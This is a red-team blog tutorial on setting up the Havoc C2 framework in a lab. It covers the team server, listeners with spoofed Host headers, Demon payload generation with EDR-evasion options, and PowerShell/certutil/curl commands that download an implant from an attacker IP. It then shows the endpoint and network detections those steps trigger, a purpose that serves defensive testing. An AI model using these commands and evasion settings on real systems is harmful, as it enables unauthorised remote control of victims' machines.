HAVOC C2: COMMAND & CONTROL FRAMEWORK [PART: I]

HAVOC C2: COMMAND & CONTROL FRAMEWORK [PART: I]

This entry is part 19 of 27 in the series Red Team Engagements

Views: 4

A deep-dive into deploying and operating Havoc โ€” the modern, open-source post-exploitation C2 framework built for red teams and purple team simulation labs. From installation and team server configuration to listener setup, payload generation, and agent tasking.

What is Havoc C2?

Havoc is an open-source, modern Command and Control (C2) framework developed by C5Spider (Paul Ungur) and released publicly on GitHub. It was designed from the ground up as a post-exploitation platform tailored for red team operators who need a sophisticated, extensible, and operationally secure C2 platform โ€” without the commercial price tag of tools like Cobalt Strike.

Havoc emerged as a direct response to the security community’s need for a next-generation implant framework that could match and in some cases exceed the evasion and capability profile of commercial tools. It has since become widely adopted in red team operations and is now packaged directly in Kali Linux repositories, which speaks to its operational maturity.

From a purple team perspective, Havoc is an excellent simulation platform because it closely mirrors the Tactics, Techniques, and Procedures (TTPs) of real-world advanced threat actors. When you deploy Havoc in a controlled lab environment, the artifacts, network traffic, and host-based indicators it generates are representative of genuine adversary behaviour โ€” making it ideal for validating detections in your SIEM, testing EDR coverage, and stress-testing your SOC playbooks.

Authorisation Required

Havoc C2 is a powerful offensive tool. Its use must be authorised in writing by the asset owner. Deploy it only in isolated lab environments or during engagements where explicit written permission has been obtained. Unauthorised use is illegal.


Architecture Overview

Havoc follows a classic multi-tiered C2 architecture, but with a modern communication and extensibility layer. Understanding this architecture is critical before deploying โ€” it determines how traffic flows, where you tune your listeners, and which components defenders will be looking for.

Key Components

Team Server โ€” The backend daemon written in Go. It manages operator sessions, hosts listeners, tracks active agents, and processes task queues. All configuration is driven by a yaotl profile file (HCL syntax). Operators authenticate to the team server from the client.

Havoc Client โ€” A Qt-based graphical front-end that operators use to interact with the team server, manage listeners, view live agent sessions, issue tasks, and review output. Multiple operators can connect simultaneously, making it collaborative โ€” similar to Cobalt Strike’s team server model.

Demon โ€” Havoc’s native implant (payload). The Demon is a shellcode-based agent written in C/Assembly that executes entirely in memory. It supports multiple sleep techniques, jitter, and indirect syscalls โ€” characteristics designed specifically to evade modern EDR behavioural detection. On execution, the Demon beacons back to the configured team server listener over HTTP, HTTPS, or SMB.

Listeners โ€” The server-side handlers that accept inbound agent connections. Havoc supports HTTP/S listeners with malleable profiles, and SMB listeners for pivoting through pivot agents.

Extensions / External C2 โ€” Havoc exposes a Python-based API for scripting and extending operator workflows. It also supports an External C2 channel model for advanced custom transports.


Core Capabilities

Havoc’s capability set is extensive and covers the full post-exploitation lifecycle โ€” from initial access foothold to lateral movement, credential access, and data staging. Below is a breakdown of its primary offensive modules.

Purple Team Note
Havoc’s indirect syscall and stack spoofing capabilities closely mirror techniques used by APT29 (Cozy Bear) and FIN7 tooling. When using Havoc in your lab to simulate these adversaries, ensure your Elastic/Splunk detection rules are tuned to catch the Demon agent’s behaviours: process injection events, NTDLL reads, and anomalous network beaconing patterns.


Installation on Kali Linux

As of Kali Linux 2023.1 and later, Havoc is included in the official Kali repositories. This means you no longer need to compile it from source or manage Go toolchain dependencies manually โ€” a simple apt command is all it takes.

Step 1 โ€” Update Your Package Index

Always refresh your package lists before installing to ensure you are pulling the latest available version from the Kali repos.

sudo apt update

Step 2 โ€” Install Havoc

Run the following command. APT will resolve all dependencies automatically, including Go runtime libraries, libssl, PostgreSQL client libraries, and the Qt front-end dependencies.

sudo apt install havoc

Step 3 โ€” Verify the Install

Confirm that Havoc was installed correctly by listing the contents of its installation directory at /usr/share/havoc. You should see four core directories: clientdatahavoc (the binary), payloads, and profiles.

Alternative: Build From Source

If you need the absolute latest version or are on a non-Kali Debian/Ubuntu system, you can build Havoc from source. Clone the GitHub repository atย https://github.com/HavocFramework/Havoc, install the Go 1.21+ toolchain and the required Qt5 dev packages, then runย make clientย andย make teamserverย from the repository root.


Starting the Team Server

The team server is the heart of Havoc. Before it can run, it needs aย profile fileย โ€” a Yaotl/HCL configuration that defines the team server’s bind address, port, operator credentials, and listener defaults. Havoc ships with example profiles inย /usr/share/havoc/profiles/.

The Profile File

Navigate to the profiles directory and inspect the example profile. At minimum you need to configure the Teamserver block and an Operators block.

Launching the Team Server

With the profile configured, start the team server daemon by pointing it at your profile file using the --profile flag. Run this on your dedicated C2 server or attacker VM.

  • Enter, โ€œhavoc server โ€“profile ./profiles/havoc.yaotl -vโ€

โ€œ-vโ€ starts Havoc in verbose mode. If you want debug information, you can also add, โ€œโ€“debugโ€

Start server (needs root for port 443; use 8443 to avoid it)

# In a dedicated tmux pane 

sudo havoc server --profile ./profiles/havoc.yaotl --debug 



# Or without root on a high port โ€” edit profile Port = 8443

havoc server --profile ./profiles/havoc.yaotl --debug

Common Team Server Flags

FlagDescription
–profile <file>Path to the Yaotl profile configuration file (required)
–debugEnable verbose debug output โ€” useful for troubleshooting listener and agent issues
–debug-devMaximum verbosity; logs all internal state transitions including crypt operations
-v / –versionPrint the current Havoc build version and exit

Operational Security

Never expose the team server’s management port (40056) directly to the internet. Use SSH tunnelling or VPN to restrict access to authorised operators only. In a real engagement, team servers live behind a redirector layer (e.g. Apache/Nginx mod_rewrite) to obscure the actual C2 infrastructure.


Connecting the Havoc Client

The Havoc client is the operator-facing GUI. Once the team server is running, launch the client from the same machine or any operator machine that can reach port 40056 on the team server.

Launching the Client

./havoc client

Connecting to the Team Server

In the client GUI, navigate to File โ†’ New Profile and fill in the connection details:

  • Name:ย Any descriptive label for this profile (e.g.ย lab-teamserver)
  • Host:ย The IP address or hostname of the machine running the team server (e.g.ย 192.168.100.50)
  • Port:ย The port defined in your profile (defaultย 40056)
  • User:ย An operator username defined in theย Operatorsย block of your yaotl profile
  • Password:ย The corresponding password

Click Connect. The client will perform a TLS handshake to the team server and authenticate. On success, the main dashboard loads โ€” you will see the Sessions pane (empty until agents check in), the Listeners panel, and the Event Log.


Multi-Operator Mode

Havoc supports collaborative operations. Multiple operators can connect simultaneously to the same team server. Operator chat and shared session visibility are built in โ€” all operators see the same sessions, listeners, and event log in real time.


Creating a Listener

listener is a server-side handler that sits on the team server and waits for inbound beacon connections from deployed Demon agents. Without a listener, agents have nowhere to connect to. Havoc supports HTTP, HTTPS, and SMB listeners.

HTTP/HTTPS Listener Setup

In the Havoc client, navigate to View โ†’ Listeners and click Add. Configure the following fields:

FieldValueNotes
Namehttp-lab-01Arbitrary descriptive label
ProtocolHTTP / HTTPSHTTPS recommended for evasion; requires cert config in profile
Host (Bind)0.0.0.0Binds on all interfaces of the team server host
Port80 or 443Use 443 with HTTPS for legitimate-looking traffic
Host Headerupdates.microsoft.comDomain fronting / host header for malleable profiles
URIs/news, /updates, /cdnRandom-looking URI paths for HTTP callbacks
User-AgentMozilla/5.0 (Windows…)Spoof a legitimate browser UA for traffic blending

Click Save. The listener starts immediately. You will see it appear in the Listeners panel with status Running. Note the Callback Host and port โ€” you will need this when generating your payload in the next step.

We can see the status of the Havocย in the Event Viewer window.

SMB Listener (Pivot Agents)

For internal network pivoting where the compromised host has no direct internet access, create an SMB listener with a named pipe (e.g.ย \\.\pipe\havoc). A pivot Demon relays traffic between the SMB agent and the HTTP listener via the named pipe โ€” this is analogous to Cobalt Strike’s SMB Beacon chaining.


Generating Payloads (Demons)

With a listener running, the next step is to generate a Demon payload โ€” Havoc’s native shellcode-based agent. The Demon is compiled cross-platform using the MinGW toolchain bundled with Havoc and produces a variety of output formats suitable for different initial access scenarios.

Payload Generation via the GUI

Navigate to Attack โ†’ Payload in the client menu. The payload builder will appear with the following key options:

OptionRecommendationExplanation
Listenerhttp-lab-01Select the listener you created; the payload will beacon to that handler
OutputShellcode (.bin) / Windows EXE / DLL / Service EXEShellcode is most flexible for injection; EXE for simple delivery
Architecturex64Target the 64-bit architecture of the victim host
FormatWindows PEFor direct execution tests; shellcode for loader injection
Indirect SyscallsEnabledBypasses userland hooks placed by EDR products
Stack DuplicationEnabledSpoofs the call stack during sleep to evade memory scanners
Sleep TechniqueWaitForSingleObjectExEncrypted sleep with obfuscated memory region
Injection TechniqueProcess HollowingSpawns a sacrificial process and hollows it with Demon shellcode
Spawn ToC:\Windows\System32\notepad.exeThe process used as the sacrificial spawn for post-ex operations
Sleep (seconds)5โ€“10s + jitterSets the beacon interval; lower = more responsive but noisier
Jitter (%)30%Randomises the beacon interval to defeat static timing detection

Havocย gives you several options. We will just take the defaults and chose a Windows Executable for the payload type. You should see your new listenerย listed. If not, select it from the drop-down box. Make any changes you want, I made none, then click โ€œGenerateโ€. Havoc will create our attack payload. It will take a few seconds for it to generate, it will then prompt you to save it.

Now, we need to deliver the payload to the target machine and run the payload on it.

Generating via CLI (Headless)

You can also generate payloads using the Havoc teamserver API directly. This is useful in automated red team pipelines where you need to generate a fresh payload on demand without the GUI.

import havoc
import havoc.client

# Connect to the teamserver
client = havoc.client.HavocClient(
    host="192.168.100.50",
    port=40056,
    user="redwolf",
    password="SuperSecretPass123!"
)

# Generate a 64-bit shellcode Demon for the http-lab-01 listener
payload = client.generate_payload(
    listener="http-lab-01",
    arch="x64",
    output="shellcode",
    indirect_syscalls=True,
    sleep=5,
    jitter=30
)

with open("demon.bin", "wb") as f:
    f.write(payload)


Lab Tip โ€” Disable AV on Test VMs

When testing payload delivery in your homelab, either disable Windows Defender on your test VM or use the Defender exclusion path feature to prevent the payload from being quarantined before you can test your detections. For purple team work, keep AV enabled to observe exactly how your payload interacts with real endpoint controls.


Payload Delivery & Session Establishment

Hosting the Payload โ€” Python HTTP Server

With the Demon payload compiled and ready, we need a way to serve it to the victim machine. In a real engagement, an attacker would use a purpose-built delivery mechanism โ€” a phishing link, a compromised website, or a USB drop. In our lab environment, a simple Python HTTP server is sufficient and gets the job done in seconds.

On your Kali attacker machine, navigate to the directory containing the compiled payload and spin up the server:

cd /tmp/payloads
python3 -m http.server 9999

Your payload is now reachable at http://<attacker-IP>:9999/demon.exe. Confirm the server is listening before moving to the victim machine.


Downloading the Payload on the Victim Machine

Switch to your Windows victim VM. Open a PowerShell terminal and pull the payload down from the attacker’s HTTP server using one of the following methods:

# Method 1 โ€” PowerShell WebClient (most common)
Invoke-WebRequest -Uri "http://192.168.100.50:8080/demon.exe" `
                  -OutFile "$env:TEMP\demon.exe"

# Method 2 โ€” certutil (LOLBin, mimics real-world attacker behaviour)
certutil -urlcache -split -f "http://192.168.100.50:8080/demon.exe" demon.exe

# Method 3 โ€” curl (Windows 10/11 native)
curl http://192.168.100.50:8080/demon.exe -o demon.exe

Once downloaded, execute the payload:

Lab Note: Using certutil or Invoke-WebRequest for payload staging is intentional here โ€” both are well-documented LOLBin (Living off the Land Binary) techniques mapped to MITRE ATT&CK T1105 (Ingress Tool Transfer). This gives your SIEM a detection opportunity even before the C2 session is established.


Elastic Security Fires โ€” Malware Alert

Within seconds of execution, Elastic Security raises an alert. The Demon agent’s behaviour โ€” writing a PE to %TEMP%, spawning a sacrificial process, and injecting shellcode โ€” triggers multiple detection rules simultaneously:

  • Malicious File โ€” PE written to a temporary directory by a non-standard parent process
  • Suspicious Process Execution โ€” Child process spawned from %TEMP% path
  • Network Connection by Unusual Process โ€” Outbound HTTP beacon to a new external IP

This is exactly the visibility you want your blue team to have. Document each alert โ€” rule name, severity, triggered timestamp, and the process tree โ€” as evidence that your detection stack is covering the initial execution phase.


Live Session Established

Back on the Kali attacker machine, the Havoc client’s Sessions pane updates in real time. A new Demon agent checks in, displaying:

  • Hostname and internal IP of the victim
  • User context the payload executed under (e.g. DESKTOP-LAB01\redwolf)
  • Process ID of the injected process
  • Operating system version and architecture
  • First beacon timestamp and sleep interval

Right-click the session and select Interact to open the operator console. You now have full post-exploitation access to the victim machine. The C2 channel is live, encrypted, and beaconing at the configured interval โ€” ready for the next phase of the simulation.


๐Ÿšจ But We Were Already Being Watchedโ€ฆ

While the Demon agent was beaconing and the session was live, something else was happening on the network that we didn’t mention โ€” our ClearNDR (Network Detection & Response) was quietly building a case.

34 alerts. Fired silently. Without touching a single endpoint.

Take a look at what the network saw:

ClearNDR Detections

Within minutes of payload delivery, the NDR had already mapped the entire attack chain โ€” not from endpoint telemetry, not from a SIEM rule, but purely from network traffic analysis:

What ClearNDR SawWhy It Matters
ET INFO Executable Download from dotted-quadRaw IP used instead of a domain โ€” instant red flag
ET INFO PE EXE or DLL Windows file downloadA Windows binary pulled over plain HTTP
ET MALWARE Havoc Demon CnC RequestThe NDR knew exactly what framework this was
/demon.exe in the URL pathPayload filename exposed in cleartext HTTP
Port 9999 beaconing at regular intervalsC2 heartbeat pattern fingerprinted
MITRE T1041 โ€” Exfiltration Over C2 ChannelAutomatically tagged, no analyst input needed

The attacker IP 203.0.113.76 was flagged as Offender. The victim 10.10.10.103 was identified. The HTTP C2 channel was fully reconstructed โ€” referrer, user-agent, ports, and all.

This is what an unencrypted, default-configured Havoc listener looks like to a properly deployed NDR. Loud. Obvious. Caught.


What’s Coming in the Havoc C2 Series

This post was Part 1 โ€” the setup. Here’s where the series goes next:

Part 2 โ€” Red Team: Operating Havoc Post-exploitation interactions in the operator console. Process injection, token theft, lateral movement, in-memory .NET execution โ€” and how each action maps to MITRE ATT&CK.

Part 3 โ€” Blue Team: Detecting Havoc We flip sides. Using Elastic SIEM, Suricata, and ClearNDR, we hunt every technique from Part 2. Detection rules, ES|QL queries, and a full coverage gap analysis.

Part 4 โ€” Hardening: Making Havoc Harder to Catch HTTPS listeners, malleable profiles, sleep masking, indirect syscalls โ€” and whether they actually defeat the detections built in Part 3.


Wrapping Up

In this post we covered the full setup of Havoc C2 from scratch โ€” what it is, how its architecture works, installing it on Kali Linux, configuring the team server, standing up a listener, generating a Demon payload, delivering it via a Python HTTP server, and confirming a live session in the operator console.

At this point you have a fully operational C2 channel running in your lab โ€” Havoc is listening, the Demon is beaconing, and Elastic Security has already flagged the initial execution. That last part is important: the goal of this lab is not just to get a shell, but to generate realistic adversary telemetry that your detection stack can be measured against.

In Part 2, we’ll dive into the operator console and walk through post-exploitation interactions โ€” process injection, token manipulation, lateral movement, and in-memory .NET execution โ€” while mapping every action to MITRE ATT&CK and validating detections in Elastic SIEM in real time.


Follow NetwerkLABS so you don’t miss Part 2. The red team goes loud โ€” and the blue team is ready.


Red Team Engagements

SETUP DVWA ON WINDOWS